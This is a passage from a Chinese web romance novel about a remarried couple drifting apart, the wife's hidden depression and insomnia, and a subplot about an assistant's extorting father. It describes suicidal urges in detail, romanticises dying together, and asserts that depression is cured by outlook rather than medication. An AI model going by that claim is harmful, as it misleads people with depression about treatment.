就是小如,一直是一副,好了没啊?有完没完啊?给你脸了的表情。
有人小跑进来,告诉导演。
霍时序来了。
“什么霍总来了?”导演开始肝颤。
这宋南伊可是霍时序的老婆,这下可完蛋了。
导演焦灼不安。
小如偏偏看到了机会一般的,往宋南伊面前走了一步。
开始抽自己巴掌。
“对不起宋总,我只是一时大意,将项链戴错了,我真的不是有意不戴你们赞助的珠宝的,真的对不起,真的对不起。”
她啪啪地扇自己巴掌。
霍时序一步迈进来时,她顺势倒了地上,“宋总,我已经说了对不起了,你还要怎样?难道真的想我去死吗?”
经纪人:……
导演:……
霍时序眸色收紧,淡扫了一眼小如,抬手将她从地上拽起来。
她顺势往霍时序的身上一靠,“霍总,对不起,我得罪宋总了……她可能对我有些误会吧,但我已经跟她道歉了,要是宋总实在不消气,就打死我吧。”
小如刻意将自己打肿的脸,往霍时序的面前递。
宋南伊笑了。
许久不见绿茶了,今天又开眼了。
她不动声色。
男人吃这一套,她倒要看看霍时序要怎么说。
“霍总,是我们没做好,小如道歉是应该的……”导演现在也摸不清行情,这小如跟霍时序又怎么回事。
他欲言又止的看向了经纪人。
经纪人在行业内深耕多年。
他可不认为,小如这一招,会有什么好果子吃。
很可能是吃不了兜着走。
“小如,你道歉是应该的,是你自己自作主张佩戴了别的品牌珠宝,本来就是你的错,如果宋总原谅你,你应该感谢她才是。”
小如抽泣了起来。
她紧紧的靠着霍时序,哭的楚楚可怜。
“好了,戏也演得差不多了,我看……还是走法律程序吧。”宋南伊起身。
前世,她看多了苏语安那副弱不禁风的样子。
小明星的惺惺作态,实在是脏了眼睛。
“站住。”霍时序出声。
宋南伊顿下脚步,扭头看向他,“怎么,霍总有话要说?”
“我有话要跟你说。”他将小如推给她的经纪人,来到宋南伊的面前,“我们单独聊一下。”
“聊什么?”看他这副架势,她不觉得有聊的必要,“聊这个小明星,还是聊我们之间的事情?”
霍时序沉眉。
他风尘仆仆,像是专门来为小如撑腰的。
宋南伊看不惯。
“如果是聊这个小明星,我兴趣,我看她现在需要你,你可以留下来,如果聊我们之间的事情,我现在工作还忙,改天吧。”
宋南伊踩着高跟鞋,带着秘书往外走。
霍时序在原地顿了顿,转身跟了上去。
他扣着她的手腕,将她带到了自己的商务车上。
“你……是不是对我有很多意见?”他侧过眸子看宋南伊。
他们之间生分了许多。
不见面,不聊天,不打电话,不发信息。
甚至照全家福,都是前后脚到,前后脚的离开。
他不知道,到底发生了什么?
可他知道,这一切是不对的。
宋南伊冷冷淡淡地睨了他一眼,“我对任何人都没有意见,今天的事情,就事论事而已,怎么?霍总这是自动地将自己和小明星当成了一家人?”
“当然不是。”他凝眉。
“那霍总想聊什么?聊我为什么让小明星,自己扇巴掌?”她轻笑,淡淡的眼神中漫上一抹寒意,“她私自戴别家的品牌,给我们YY造成了很大的损失,违反合同,如果不是我脾气好,她的脸,早扇糊了。”
霍时序沉默。
他没有怪宋南伊的意思。
他只是怕产生不好的影响,仅此而已。
“我们聊聊我们两个。”
宋南伊沉顿,“聊吧。”
“你不觉得,我们陌生了许多吗?南伊,我们走到一起不容易,你不觉得你对我太冷漠了吗?”
宋南伊错愕。
他在指责她?
她笑了,唇角勾起一抹嘲弄,“看来,霍总是觉得对我很热情?”
“我最近工作确实有些忙,我……”
“我没有工作吗?怎么你工作忙不冷漠,我工作忙就成冷漠了?”这是什么狗屁逻辑,“话,不能总站在自己的立场上说,霍时序,我没花你一分钱。”
他没花钱,买她的热情。
何必计较,冷脸,热脸。
大家不都一样吗?
霍时序不知道宋南伊为什么如此激动。
他没有说过,她不能花他的钱。
他的所有的卡,都已经给她了。
她还想要他怎样?
“聊钱有意思吗?宋南伊,你和我都不是因为钱在一起的,我只是觉得,你最近变得冷漠,变得不爱说话了,我在关心你。”
宋南伊的小脸绷紧,“那我谢谢霍总的关心,我很好。”
“南伊,我们是夫妻,至于说话这样阴阳怪气的吗?”他将手上的皮手套摘下来,放到一旁,去握宋南伊的小手。
她躲开了。
没理由。
就是不想让他碰。
“如果没有别的事情,我就先回工作室了。”
他的手,握了空。
那满满的一手空气,让他意识到了事情的严重性。
他想最后再解释一下,“我和小如她……”
“你们的事情不用跟我讲,我没有兴趣知道,霍时序,做夫妻的方式有多种多样,我这个人,前世是个妒妇……”她深呼吸,这个词不算好听,“……这一世,我不会再过问你和任何女人的事情。”
第242章 想见一个人的时候,会翻山越岭
她要走。
他生气,将她又扯了回来。
“你给我说清楚,我是跟个女人不清不楚了?还是怎么样了?我天天在上班,我在很努力的工作,我在赚奶粉钱,我怎么就……你怎么……不过问我和别的女人的事情?什么意思宋南伊?”
宋南伊嘴唇紧抿。
淡睨他,“字面意思,理解不了,是上学太少。”
“你……”他真没了脾气,“……好了,我的错,都是我的错,晚上回家,我们慢慢聊行吗?”
宋南伊没有半点情绪起伏的抬腕,看了眼时间。
“晚上我要加班,太晚的话,我就住公司了。”
说完。
拉开车门下车。
霍时序:……???
小如给霍时序打来电话。
手机里哭哭啼啼。
他心烦,没说几句就挂断了。
对司机说,“回老宅。”
“是。”
一家子自从搬回老宅。
家里地下人多了,似乎也有了些人气。
但看宝宝的活,蓝旗还是亲力亲为。
看到儿子回来,她粗算了一下,差不多又是二十天的时间。
“你最近出差的时间,可是有点长啊,这样冷落南伊,真的好吗?”
霍时序弯身坐到沙发上,抬起手臂,搭在额头上,叹息,“项目上吃紧,我不盯着不行,没办法的事情。”
“那也不能忽略了南伊。”在感情上,如果一方放任,那就离离婚不远了,“你别忘了,这婚是怎么复的,你还想再去趟民政局吗?”
“我们只是……可能是不太见面,生分了吧。”
这是霍时序给自己找的理由。
蓝旗并不认可。
“儿子,南伊这段时间,状态一直很差,每天就是大把大把的吃药,这哪受得了啊……”
霍时序愣住,“吃药?她生病了?”
“她说是吃的维生素,青姐发现她吃药后,她就把那些药藏起来了,我总觉得她出了问题,但又不敢直接问她。”
蓝旗愁眉。
霍时序从沙发上起身,快步跑上了楼。
他翻箱倒柜的找宋南伊吃的药。
抽屉没有,柜子里也没有,梳妆台也没有,卫生间里还没有……
到底藏哪儿了?
他扫视着卧室里的一切,突然看到了那个没完全拉上的行李箱。
拉到面前,打开。
里面放着三瓶没有任何标签的药物。
他每瓶药里取了三颗,用密封袋子装好,迅速下了楼。
“妈,我出去一趟。”
霍时序跟裴啸见了一面。
“帮我检查一下,这三颗药的成分,是治疗哪方面的。”他将小袋子交给裴啸。
裴啸看着不同颜色的药丸,诧异,“谁吃的?”
“南伊吃的,我也是刚知道。”霍时序面色沉重。
她病了。
他竟然一无所知。
“能不能尽快,我很担心。”
裴啸点头,“明天。”
他将药放过口袋。
看着霍时序沉闷的脸,猜测着,“你是不是跟南伊吵架了?”
“没有。”
“没有吵架,你连她吃什么药也不知道?”
霍时序惭愧,“我们确实……很久才见一面。”
“很久……见一面?”裴啸听的匪夷所思,“为什么?你们是夫妻,怎么会很久才见一面?”
“我忙,她也忙,所以……”
裴啸摇头。
他不接受这样的说法。
忙不是不见面的借口。
想见的人,翻山越岭,也会到她的面前。
一张床上睡的人,怎么会出现这样陌生的词。
“你们之间,是不是出问题了?”
霍时序沉默。
在裴啸眼里,此时的沉默就等于是默认。
婚姻中最忌讳的就是,你不说,我也不问。
宋南伊的脾气中,有很倔强的那部分在。
尤其是他们的婚姻曾经破裂过,她的心,其实是很敏感的。
“霍时序,你可要想清楚,如果南伊再次跟你离婚,你们两个,这辈子都不可能再走到一起了。”
霍时序抬眸。
他当然知道。
他也不会让这件事情发生。
“我们只是出了一点小问题,没有离婚那么严重。”
“你好自为之吧。”
……
裴啸拿药交给了自己的朋友。
结果很快拿到。
每一种药,听起来都不是治疗要命的病,但是却透出宋南伊状况的糟糕。
“失眠,抑郁,乳腺增生。”裴啸给霍时序打去电话,说的很简单,“她出了大问题了。”
霍时序沉默了。
裴啸深吸一口气,“时序,工作再重要,也不及有一个健康的太太重要……”
“我懂。”他气息沉重。
裴啸知道霍时序是聪明人。
无需再细说下去,“你懂就好,别让她病情再加重了。”
……
霍时序开车去了宋南伊工作室的楼下。
他靠着车窗,望向那层的窗户,就那样,一根接着一根的烟抽着。
直到午夜,他也没有等到宋南伊出来。
母亲说,她经常加班,经常的住在工作室。
她交代邓雪要好好照顾宋南伊,但终归还是不放心。
霍时序在楼下抽了一晚上的烟。
直到天启明,他才驱车离开。
到集团时,霍时序整个人不算精神。
江淮以为出事了,一脸的紧张,“霍总,是不是项目上出问题了?您这一脸……”
“没事,就是没睡。”他捏着眉心说,“我去洗个澡。”
工作正常进行。
临近中午的时候,霍时序给宋南伊打了个电话。
她没接。
他便给邓雪拨了过去,“你们宋总在吗?”
“宋总她在开会呢,霍总,您找宋总有事吗?”邓雪问的小心翼翼。
不知道是礼貌的拒绝。
还是什么。
“没事,她忙吧。”
挂断手机,他揉捏着太阳穴,酸疼酸疼的。
许秘书敲了敲门走进来,“霍总,小如小姐来了。”
话音刚落。
小如就踩着高跟鞋,扭着腰,走进了总裁办。
霍时序并未抬眸看人,江淮抬手拦了她一下,“找霍总有事吗?”
“当然有事了。”小如脸上是欢快明朗的笑意,“我今天过来是想感谢一下霍总。”
她绕过江淮,直接到了霍时序的办公桌前。
屁股往上一挪,坐到了他的桌子上,俯身说,“霍总,我们剧组终于不用赔那么多钱了,我也不用赔了,还得是你的面子,那个宋南伊就是怕你,要不然,我可就摊上官司了。”
江淮不知道这个女的,哪来的胆子,坐到了霍时序的办公桌上。
他可是有洁癖的。
“下去。”他厉喝。
小如没当回事,依旧是笑笑的模样,“霍总,我胆儿小,你说话温柔一点嘛,我今天真的是来感谢你的,中午,我请你吃饭怎么样?餐厅我已经订好了,是网红打卡地哦,又好看又好吃的。”
霍时序并没有因为她的话,脸色缓和,越发的冷冽起来,一字一顿的,“我,说,滚,下,去。”
第243章 我们私下不需要联系
小如吓的脸变了色。
战战兢兢的从桌子上下来,又往后退了一步。
“霍总,你生气了?对不起嘛,你就……”
霍时序厌烦的抬了抬手指。
江淮便往外请人,“请吧。”
“霍总,我还要跟你约饭呢,你,你到时来不来嘛?”
小如一边回头说话,一边被江淮拽起往外走。
办公室里终于安静了下来。
霍时序的头疼的厉害。
他拉开抽屉,找出止痛药,吃了一片。
又是半月。
年关将近。
宋南伊提早将工作交给了邓雪,“我得早放假了,接下来,辛苦你了。”
她给了邓雪一个红包,“提前祝你新年快乐。”
“老板,你也是,这一年,你真的辛苦了。”邓雪眼窝子浅,泪汪汪的。
宋南伊拍了拍她的胳膊,“我们干得都不错,但你比我更辛苦,完成工作就尽早放假,时间上,你来安排。”
“好的,老板。”
宋南伊离开后。
邓雪打开电脑,开始排班,有的部门工作不多,提前放假。
有的部门工作紧促,就滞后放假,加班费翻倍。
宋南伊对她的信任,让她在工作中信心百倍,且不知疲倦。
被人认可,是一件很幸福的事情。
她庆幸遇到了好的老板。
秘书敲门走进来,“邓总,润合的裴总,刚刚来电话,说要过来一趟,您看什么时候有时间,我跟他回一下?”
“说什么事情了吗?”
秘书,“我问了,他没说。”
“行吧,你跟他讲,我今天都在公司,什么时间都可以。”
“好的。”
裴啸是两个小时后来的,进门聊的都是工作上的事情。
这一聊又是两个小时。
把邓雪都聊困了。
她撑着脑袋,头一点一点的,模样有些可爱。
男人修长的指尖,在梨木的桌面上敲了两下,“邓副总,工作态度要端正。”
邓雪实在是困。
打了个哈欠。
“裴总,要不今天就聊到这儿吧。”她拿起手机看了一眼,“这都快一点了,我得午休一会儿了。”
“一起去用个午餐。”他邀请。
邓雪摆手,“不了,累了,不想吃,你自己去吃。”
“吃个饭能多累。”裴啸起身,握住她的胳膊,“走吧,又不用你请。”
邓雪实在是不想去。
她这个人,又格外的会照顾别人的情绪。
推脱不过。
就跟着裴啸走了。
她以为他会带她去,相对高档点的餐厅,毕竟他可是豪门世家里泡出来的贵公子。
没有。
一家很普通的面馆。
点了两碗牛肉面。
她猜测着,大概是裴啸觉得她也配不上高档餐厅吧。
不过牛肉面,也不错了,她配得上,也喜欢吃。
兴许是饿了。
邓雪低头吃面,吃的很香。
裴啸浅尝了几口,看来他带她来对地方了。
一直觉得邓雪是那种特别好打发的女孩,不矫情,工作卖力,又很忠诚。
就像……
就像悬崖上长出来的小树苗,哪怕生于石缝,也会倔强生长成参天大树。
“好吃吗?”他问。
邓雪笑笑,“挺好吃的,就牛肉少点。”
裴啸点头。
拿起筷子,将自己碗里的牛肉,全夹到了她的碗中。
邓雪惶恐。
“我不是要你碗里肉的意思。”
“吃吧。”他淡淡的。
邓雪收神,低头继续吃面。
裴啸没怎么吃,在邓雪看来,是他自己根本不爱吃这种平民的东西。
是啊,像他这种贵公子,应该是吃法餐,意餐,天然有机,甚至是国外进口的食物。
哪儿像她。
三两面,可以抵一天的饿。
她大口吃着面,压下心里的自卑。
吃完后,扫桌上的二维码付了款,一共花了她五十块钱。
“吃了你那么多肉,这顿算我请的吧。”
裴啸微微蹙眉。
还真是一个不爱欠别人情的人。
“邓雪,加个好友吧。”裴啸将自己的手机号码递到她面前,“用私人的账号。”
邓雪将手机偷偷背到了身后。
微笑着拒绝,“不用了,裴总,我们平时也不需要私下联系,有工作账号就够了,私人账号……就不必加了。”
“嫌弃我?还是瞧不上我?”
“不,不,不,是觉得,没有必要。”她尴尬的解释着。
他伸手绕到她的身后,将她的手机‘抢’了过来,扫码,添加。
他将自己手机点了通过。
邓雪:“哎……”
这人怎么还这样。
加了又怎样,回去她就悄悄的删了。
走出牛肉面店,外面下起了雪。
雪花漫天飞舞,很多人都觉得浪漫,只有邓雪会觉得悲伤。
她六岁那年。
也是下着这样的大雪,父亲将她和母亲一起赶出家门,她们没有地方可去。
就找了个桥洞子呆了一晚上。
那天晚上,寒风刺骨,有野狗过来咬她,母亲拼命地护着她,野狗将母亲的腿撕咬的血肉模糊。
她们根本没有钱打什么狂犬疫苗。
就那样自己简单的处理了一下。
后来,母亲的腿上,留下了一条长长的,很难看的疤痕。
下雪,情侣想的是一起到白头。
她只会想到,她和母亲那惨痛的一晚。
她无声叹息,过去了,现在她可以为母亲撑起一片天了。
“小雪。”有人唤她的名字。
邓雪回眸,看到男人的脸,整个身子发紧,不自觉地皱紧了眉头。
胡子拉碴的中年男人,走到邓雪面前。
先是上下打量着,站在她身旁的男人,“小雪,这是你男朋友啊?”
“不,不是,你别乱说,他是我们公司的客户。”邓雪将男人拉到一旁,“你怎么又来了?你能不能别总来找我?你这样会对我产生影响的。”
“小雪,我是你爸,我现在没钱吃饭了,我不得来找你吗?你再给爸一万,爸也得过年不是?别你们娘俩吃香的喝辣的,让我一个人吃糠咽菜的,那你就太没良心了。”
邓雪不愿意给。
她刚给了这个叫邓刚的男人,五千块钱,还没半个月,他又找上门来要一万。
把她当成提款机了。
“你以为我是摇钱树啊?工资都没发呢,我哪有钱给你?”
自从邓刚知道了她和母亲的住处。
她真的一天安稳日子,都没有过过。
“你要再来打扰我,把我的工作搞没了,我更没有钱给你了,到时,大家一起去喝西北风去吧。”
邓刚自然知道这个道理。
语气也软了许多。
“那一万你要嫌多,就先给我五千,实在不行的话……两千也行,总不能让我饿死在街上吧。”
邓雪气了气,本着赶紧将他打发走的想法,拿出手机给他转账,“两千也没有,只有一千。”
邓刚不愿意,“一千怎么够?”
“那你要不要?”邓雪收回手机。
邓刚咬了咬牙,“一千就一千。”
邓雪拿起手机,继续给他转账,“省着点花,我一个月就发五千块的工资,我还人付房租,水电费,我和我妈两个人还要生活,都给你了,我也地疯掉的。”
“你一个月真的就发五千吗?我怎么听说,你一个月有十万……”邓刚不信。
邓雪震愕般的瞪大眼睛,嗤笑,“天哪,你这是从哪听说的,一个月十万?你是想钱想疯了吧?我在公司里就一个茶水妹,端茶送水的,又不是大经理,还十万,我要一个月赚十万,我早搬到你找不到的地方去了,你也敢想。”
第244章 他图我有一个吸血鬼的爹
看邓雪说得这么肯定。
邓刚暂且信了,他又看了看不远处的裴啸,“这男人看起来,非富即贵的,挺有钱的吧?像总裁,他……真不是你男朋友?”
“你也看出来,他非富即贵,他像总裁?人家一总裁能看上我?他图我什么?图我一身班味,一月个五千,还是有一个吸血鬼的爹?”
邓刚被怼得无语,“那……童话里不都说,王子喜欢灰姑娘的。”
“首先呢,灰姑娘人家本身也是贵族,我是什么?你给过我什么?我从小到大,我吃过几次饱饭,动不动就被赶出家门,你还好意思说这个。”
邓刚讨了没趣,索性不讲了,“好,好,算我没说。”
邓雪赶着邓刚赶紧走。
“行了,拿到钱了,还不赶紧走,真搞丢了我工作,以后你一毛也没有。”
邓刚收了钱。
临走时,又多看了裴啸一眼。
如果她女儿,能傍上这么个有钱的男人,那他这辈子,吃喝嫖赌,也就不愁了。
打发走邓刚。
她来到裴啸面前,抬手将风吹乱的碎发,别到耳边掩饰刚刚,“那个……前面离公司也不远,我就先回去了,裴总你就不用送我了。”
“那人谁啊?”裴啸问。
邓雪嗯啊着,“他呀,一个亲戚。”
“什么样的亲戚?”
邓雪不想回答,“普通亲戚。”
雪,下得漫无边际。
邓雪穿得并不算很厚,她有些冷的缩起脖子,“裴总没有别的事情,我就先回去了,怪冷的。”
看着邓雪的背影,在雪地里,渐渐消失。
男人这才转身上了车。
刚准备发动车子,车窗就被重重地拍响。
他转眸看过去,是刚刚那个男人。
他降下车窗,“有事?”
“你和我们家小雪,是什么关系?”邓刚不死心,他要真有了一个有钱的女婿,他就上天了,“邓雪,她是我的女儿,你跟她是不是在恋爱?”
裴啸面无表情的看着男人,略带贪婪的脸,“她怎么跟你说的?”
“她说你是她公司的客户,她就一个茶水妹,公司能让她接待什么样的客户,所以……你到底是不是小雪的男朋友?”
邓刚目光狡黠。
裴啸却平静的,没有半点波澜。
他这个年纪和阅历,很轻易地就能分辨出,邓刚是哪种人。
淡淡的,“不是。”
“真不是?”邓刚不信。
裴啸将车窗升起,一脚油门开了出去。
邓刚差一点摔出去。
跳着脚骂人,“什么人啊,我告诉你,撞到我,我就让你赔个底朝天。”
……
裴啸开着车,很慢地在江城大道上。
邓雪的家庭普通。
他是知道的。
骨子里,她不想跟权贵沾边。
这是邓雪拒绝他负责的一个,最重要的原因。
普通的家庭,自身的审视,再加上一个这样的父亲,她在生活中应该是挺自卑,所以这么多年,她不交男朋友。
但在裴啸的眼里。
邓雪很优秀,哪怕她现在离开宋南伊,单干,也绝对是有很好的发展。
好看的花,通常是悬崖峭壁,又或是冰天雪地绽放出来的。
他笑了笑,眼尾透出温柔。
……
宋南伊想带孩子们和蓝旗以及娘家人,一起去看雪。
可能是这段时间,她过得太压抑了。
她的药,已经在悄悄地加量。
再不去找一下快乐,她怕哪天,真的有可能会走向绝路。
她提出这个想法。
婆婆是愿意的,“好啊,好久没有跟你妈妈见面了,我倒是期待这趟旅行呢。”
“您愿意就好,那咱们这几天就准备一下,随时出发。”
“好……”蓝旗不知道,这个时候,该不该提到霍时序,但还是硬着头皮问了,“……时序跟我们一起去吗?”
“我……还没有跟他讲,你也看到了,我们很难见到面。”宋南伊的语尾里透出唏嘘。
蓝旗心中便了然。
“先不说他了,那我去给宝宝们准备保暖的衣服,难得出去一趟,开心最重要。”
宋南伊点头笑笑。
她的出行计划,没有告诉霍时序。
年底是XY集团最忙的时候。
她知道。
其实,这不是主要原因。
上次为了小明星吵过后,她和霍时序之间的感情……更淡了。
她有时候,真的无法理解,感情变淡这事。
不都是说,人是感情的动物,越相处,粘性越高,越离不开吗?
为什么,有些人得到了,就像游戏结束了。
她不打游戏,不知道游戏打通关,是一种什么样的感受。
可能就像现在的自己吧。
没意思了,该卸载了。
可是人生不是游戏,她有三个宝宝,真的走到离婚那一步,就这三个孩子,分割起来,也是一场硬仗。
走一步,看一步吧。
下雪了。
她站在阳台上,看着这漫天飞舞的雪花,凭空生出一些伤感。
墙角的合欢树,来年还会开花吗?
那些玫瑰花,能不能挺过这个冬天?
风起。
她的发丝染上了雪,萧瑟又迷茫。
突然……
她被拥进了一个温暖的怀抱。
宽厚的羊毛大衣,将她整个身子裹住,她的后背,贴在他的身前,暖的她,差点以为是幻觉。
“明明爱生病,却又偏爱在这儿吹冷风。”
宋南伊的睫毛,随着风微动,“霍时序,你说,明年的春天,会变得温暖吗?”
“当然会,一定会。”他有太多的心疼和抱歉,“我听妈说,你要带全家去看雪,能不能加我一个?”
“你有时间吗?”她微微侧过脸。
“我把工作已经交给了集团的副总,从现在开始,我要多陪我的太太,我不希望我的太太,每天是愁眉不展的……”
他将她拥得更紧,“……南伊,我们经历过那么多,我们之间没有什么说不开的,如果你对我有误会,你就质问我,我一定会给你一个合理的解释,当然,如果哪天,我们不再相爱了,我们也要坦诚地告诉彼此。”
爱与不爱这个话题。
现在听起来虚无缥缈的。
“我都忘了,爱是什么样子的了。”
他摁着她的肩,轻轻地在怀里转了个身,“看我的眼睛。”
宋南伊缓缓抬眸。
这样的对视很陌生。
感觉是上辈子的事情。
“看到什么了吗?”他问,语调轻而温柔。
宋南伊摇头,除了有一个小小的她。
“爱就是,我眼里有你。”他将她的小手,放到自己心口位置,“我心里有你,南伊,我说过,没有你,我不能活,这不是一句假话,空话,如果你现在离去,我将随你离去,这是一定会发生的事情。”
宋南伊心口微微动了那么一下。
不强烈。
霍时序一直就喜欢说甜言蜜语。
而她,已经到了,不是三两句甜言蜜语,就能怦然心动的年纪了。
“时序,其实,我们之间的爱,跟别人没有什么不一样,也会厌倦,也会变淡,也会随着时间,从彼此的眼中看到疲惫,这很正常,殉情这种古老的传言,只在小说里,在电视里,不会在现实中发生。”
第245章 总有一个声音,让她去死
她坦然接受,感情发展的每个阶段。
但她没想到,这么快是真的。
她承认,这样的颓废的心情,与自己的病情有关。
思虑过度。
经常出现幻觉。
失眠,抑郁,气自己,每天大把大把的吃药。
她时常将这些情绪的产生,怪到婚姻上来。
好的婚姻是滋养。
不好的婚姻是折磨。
然后死掉,重生,看透一切的独自生活在这个世界上。
爱。
不是美好的代名词。
它是杀戮,是血,是折磨,至少,在她这儿是。
她不知道,为什么,她最近的想法,总与悲情和血腥有关。
看来又得加药了。
“南伊,你是不是,对我已经失望透顶了。”但他不会放弃的。
这段婚姻来之不易。
他说过要牵着她的手,一直到走老,走到死,他会做到的。
这无关责任,誓言,是爱,他很爱她。
宋南伊轻轻的推开他。
走过卧室。
失望也是靠积累的。
但他似乎,并没有做对不起她的事情,是她自己在内耗。
“如果你想跟我们一起去看雪,我没有意见。”她淡淡的,不兴奋,也没有丝毫的期待。
他能清晰的感受到她的心,在慢慢的走远。
弯身坐到了她身旁,“好,一会儿我去收拾行李。”
……
旅行回来后。
两个人的关系,算是有缓和,但离破冰还很远。
他们每晚都睡同一个房间,同一张床,没用。
交流少的可怜。
霍时序头一次在婚后,有了手足无措的感觉。
恰逢这时。
小如给他打来电话,“霍总,有时间吗?年前能不能约一下,我有新年礼物要送你。”
那头的声音娇柔造作。
声音外放,扔在桌上。
宋南伊听的很清楚。
“你给我送什么礼物?你有钱没地方花了?以后不要再给我打电话。”
当着宋南伊的面。
霍时序的声音,已经尽量在克制。
“那个……这个小明星因为拍集团的宣传片,小火以后,就有点乱了分寸,我已经让许秘书通知下去,全面封杀她。”
宋南伊微愣。
封杀?
这确实有点严重了。
但她没说什么。
“南伊,我以后会注意分寸,你……别往心里去。”
宋南伊淡笑,“我不在意,只要别搞出私生子来就行,三个孩子的权益,我还是在乎的。”
“怎么会,不行,我明天就去结扎。”他握住她的手,拼命抓住,却好像什么也抓不住的脆弱,在眼底,“南伊,其实我知道,那次在礼服店的偶遇……你心里已经不痛快了。”
“抱歉,我当时没有做好解释,可能是我想太简单吧,我犯了一个无法弥补的错误。”
“你知道,我看到你大把大把吃药时,我心里有多难受吗?像万箭穿心,而我好像什么办法也没有。”
“南伊,我爱你,我希望你是健康的,这不是嘴上说说,你相信我。”
他很真诚。
也拿出百分百的真心,在挽回她心里的那片荒凉。
宋南伊也在试图的说服自己。
不要把这件不起眼的小事放大。
可她心里就难受的厉害。
她病了,病得很厉害。
她知道,她的抑郁不仅是因为霍时序,她产后,心情一直就是这样。
事情多了,叠加以后。
变得越来越严重,是真的。
“时序,等我病好了,再说我们之间的事情吧,我现在无法……我也不想,我们因为误会,最终会分开,我……想把我自己这一关过了。”
她没有责备他。
没的动怒,更没有提什么条件,打他骂他。
就是那样破碎的看着他。
她说要自己疗伤。
她说……他现在走不进她的心里。
“好,我陪你治病,我们先好好的把病治好。”
……
宋南伊的病,是心理上的病。
前世太多外放的情感,让她在这一世,学会隐藏自己的情绪,可没有想到的是,这些情绪会反噬她。
病。
在预料之中。
她以为自己能扛过去。
她把自己想的太厉害了,她不行的。
她现在有了厌世的情绪。
有时候泡澡的时候,浴缸里的水,会变成红色,她很想拿刀片划开血管。
去参与这场红色的狂欢。
她不想死的。
但是总有一个声音,让她去死。
她很害怕。
晚上睡觉的时候,她都会把窗户关了又关,就怕自己在不清醒的时候,跳下去。
“睡吧。”霍时序将她搂进怀里,发现她的身体很凉,“怎么这么冰?是不舒服吗?我去拿体温剂。”
“不用,一会儿就暖和了。”
他将她搂紧,把被子掖好,“我帮你暖被窝。”
晚上。
宋南伊睡的并不好。
睡五分钟,睁眼一个小时。
她仍然失眠的厉害。
实在睡不着,她就会去吃药,开始的时候,一片,现在已经加到了三片。
霍时序觉得这样下去不是办法。
委婉的跟她商量,“等新年过完,咱们两个去旅行吧,你看,咱们这次复婚也没有办婚礼,就当我们一起去度个蜜月,好不好?”
宋南伊没说好,也没说不好。
只是很淡的说,“你还得上班呢,我也要去工作。”
“先放下工作,我也很久没正儿八经的去国外玩玩了,玩也是为了回来,更好的工作,你说是吗?”
他很期待的看着她。
宋南伊最终点了头。
他如释重负。
给许秘书打电话,让她订机票,订酒店,订好行程。
等新年一过,他马上带着宋南伊出发。
感情这种东西很奇怪的。
建立的时候,如修万里长城。
失去的时候,不动声色,甚至都不用通知一声。
他的错。
……
新年过后。
霍时序带宋南伊飞往了欧洲。
他们去了天鹅堡和科隆教堂打卡。
去了瑞士滑雪。
去看了极光,看了最漂亮的海岸线。
他们像普通的情侣一样,拥抱,接吻,看这世个最美丽的风景。
宋南伊是开心的。
她感觉自己心口某个地方,突然被打开了。
那里,不再有黑暗的声音,让她去死。
而是催促她,要快乐的活着,要勇敢的活着,做自己。
“宋南伊,我爱你……”霍时序冲着远山呼喊。
回音久久没有停歇。
宋南伊学着他的样子,“霍时序,我们会一直在一起吗?”
“霍时序会和宋南伊永远在一起,我们要一起变白头,要做爷爷奶奶,要做外公外婆,我们要做这世界上最幸福的夫妻。”
她望向他笑了。
治疗抑郁的,不是药物。
是看透世界本质的心。
“老公,我好像找回我自己了,我以后可能会变成一个恶媳妇,你确定,还要跟我一起变老吗?”
他从身后将她拥紧。
迎着风,在她耳边说,“南伊,我保证,我这辈子都会忠诚你,也不会搞出私生子这种事情,你可以放心把自己交给我,如果我哪天做了错事了,请一巴掌打醒我,而不是离开我。”
宋南伊笑着。
她伸出自己的小手,轻轻的拍了两下霍时序的脸,“我的手,打人可疼可疼了。”
第246章 嫁入有钱人家的入场券
“没关系。”他抱紧了她,脸上久违的笑意,“我脸皮,可厚可厚的了。”
“霍时序,如果我以后再看你跟哪个小明星,眉来眼去的,我真会动手的。”
她不憋了。
有火就发,有气就出。
把自己逼进死胡同,挺对不起自己的。
“打,狠狠的打。”同样的错误,他不会再犯了。
……
从欧洲回来。
蓝旗发现宋南伊的心情好了许多。
也在霍时序的监督下,慢慢的减少药量。
无论霍时序工作多忙,每天晚上一定是要回家的,出差控制在三天内,他要把最多的时间,给宋南伊。
直到她彻底的好起来。
某天。
南微给宋南伊打来了电话。
“南伊,星言今天带女朋友回家,你和时序回来一趟吧。”
宋南伊答应着,“好啊妈。”
第一次跟弟弟的女朋友见面。
宋南伊想送一件像样的见面礼,便约了裴吟去逛街。
“星言都有女朋友了?这日子可真不禁混啊。”裴吟感慨良多,问宋南伊,“见过照片吗?是个什么样的女孩?”
“还没呢,星言很单纯,我希望是一个跟他一样的女孩。”
宋南伊拉着裴吟进了古驰店。
女人都喜欢包,那她就送一只包包,应该错不了。
“你一见面就送古驰包,这出手也太阔绰了吧。”裴吟不建议,“人家收了吧,怕被你讲贪财,势利,不收吧,又怕你不开心,你这样,会令人为难的。”
“妈说,她和星言交往一年多了,她应该了解我们家的情况,本来我们家也不穷,一只包而已。”
裴吟耸肩,又问,“那女孩家里什么情况啊?是哪家的千金小姐?”
“妈说,女孩家境普通,父母好像是工薪族,但,这不重要,只要他们真心相爱就好。”宋南伊不介意的。
裴吟也理解,宋南伊这种凡事往好里想的心态。
但阶层不一样。
人就不一样。
看待事物的眼光就不一样。
“那你选一只便宜一点的包包,几万块就好,以后要是她和星言的事情订下了,你再送贵的。”
宋南伊点头,“行,听你的。”
宋南伊选好礼物后。
和裴吟去商场楼下的咖啡厅坐了一会儿。
霍时序来接她回娘家,她便先离开。
路上,霍时序问了同裴吟一样的问题,“那个女孩是哪家的千金?”
“不是千金,是星言的同学,很普通的家庭。”
霍时序没有门户之见,星言单纯善良,他希望能到良人,“只要人好就行。”
宋南伊也是这么认为的。
……
听到宋宅别墅外面的车响。
李美纶紧张的握住了宋星言手,“星言,我心跳的有点厉害。”
她的家庭普通。
看上宋星言,完全是因为他家里有钱。
她想在他的家人面前留个好印象,是真的。
“我姐是特别好的人,我姐夫虽然不太爱笑,但他一直也很疼我,你别紧张。”
星言与她十指交扣。
看到宋南伊和霍时序走进院子。
他带着李美纶走了出去,“姐,姐夫,你们来了。”
霍时序走在前面。
宋南伊被他牵在身后。
他的身高过于优越,夕阳的光,落到他半边的身子上,氲出一层金子般的暖色。
李美纶看直了眼。
他长的怎么跟画里的人一样,眉目深邃,高鼻薄唇,哪怕是一丝不苟的西装,也遮不住他的矜贵之气。
尤其是那严谨到,扣至颈间喉结下的领口。
自带一种禁欲的气质。
